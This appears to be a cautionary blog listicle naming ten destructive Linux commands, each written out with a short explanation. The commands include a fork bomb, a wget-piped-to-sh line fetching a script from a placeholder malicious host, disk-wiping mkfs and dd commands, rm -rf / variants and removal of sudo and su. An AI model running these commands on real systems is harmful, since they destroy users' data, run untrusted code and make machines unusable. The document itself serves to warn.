10 Dangerous Linux Commands – You Should’t Try

Linux sometimes leaves techie in miserable position. It considers that we know everything that we are doing and gives us liberty to do whatever we want. Though sometimes it gets irritating when system prompts for confirmation while running some commands we are confident about but there are these dangerous commands which can convert your system in unusable state within fraction of a second.

Whether you’re a Linux newbie or veteran, you should never run a command unless you know exactly what it does. Here is the list of 10 commands you would like to be away from while working on the system.

1.  :(){:|:&};: Command     – Fork recursive bomb

This command  is actually a recursive fork bomb.  It involves the function called ‘:‘, which calls itself twice, once in the foreground and once in the background. It keeps on executing again and again ( like a chained nuclear bomb! ) till the system freezes or hangs.

2.  wget http://malicious_source -O- | sh    – Executing remote script

Generally wget is the command to download any file or script from the web. This  command will download a script from a malicious source and then execute it. wget command will download the script and sh will execute the downloaded script.

You should be very much aware of the source from where you are downloading packages and scripts. Only use those scripts/applications which is downloaded from a trusted source.

3.  mkfs.ext3 /dev/sda    – Formatting hard drive

This command will format the block ‘sda’ and you would surely be knowing that after execution of the above command your Block (Hard Disk Drive) would be new, BRAND NEW! Without any data, leaving your system into unrecoverable stage.

4.  mv folder /dev/null     – Implode hard drive

This command will move ‘folder‘ to /dev/null. In Linux /dev/null or null device is a special file that discards all the data written to it and reports that write operation succeed.

5.  >file     – Flush the file content

This command is used to flush the content of file. If the above command is executed with a typo or ignorance for any critical and important file then you have messed up. For Example, the command  “> xt.conf” will write the configuration file or any other system or configuration file.

6. ^foo^bar     – Edit previous command

This command is used to edit the previous run command without the need of retyping the whole command again. But this can really be troublesome if you didn’t took the risk of thoroughly checking the change in original command using ^foo^bar command.

7.  dd if=/dev/random of=/dev/sda     – Wipe out hard drive

This  command will erase the content  the block sda and write random junk data to the block. It will result your system in  inconsistent and unrecoverable stage.

8.  rm -rf     – Delete recursively

Here the little typo may result into unrecoverable system damage.  As the rm -rf command is one of the fastest way to delete a folder and its contents. Linux will happily obey this command and delete everything without prompting you, so be careful when using it!

There are several options available with rm command as below but we should always be careful before executing them.

  • rm command in Linux is used to delete files.
  • rm -r command deletes the folder recursively, even the empty folder.
  • rm -f command removes ‘Read only File’ without asking.
  • rm -rf / : Force deletion of everything in root directory.
  • rm -rf * : Force deletion of everything in current directory/working directory.
  • rm -rf . : Force deletion of current folder and sub folders.

The workaround to overcome the accidental delete of file by ‘rm‘ command, create an alias of ‘rm‘ command as ‘rm -i‘ in “.bashrc” file, it will ask you to confirm every deletion.

9.  rm -f /usr/bin/sudo;rm -f /bin/su     – Disable root command rights

We all know the importance of commands ‘sudo’ and ‘su’ in Linux as the allow us to run commands as a root. Above command basically removes the ‘sudo’ and ‘su’ executable leaving you with miserable life on Linux.

10.  command > /dev/sda     – Overwrite hard drive

Here the above command output is directed to /dev/sda. Means the content of the block will be overwritten by the output of the command. Hence the files residing on those blocks will completely be lost.


We hope next time you will be more cautious while running these kind of dangerous commands on your system.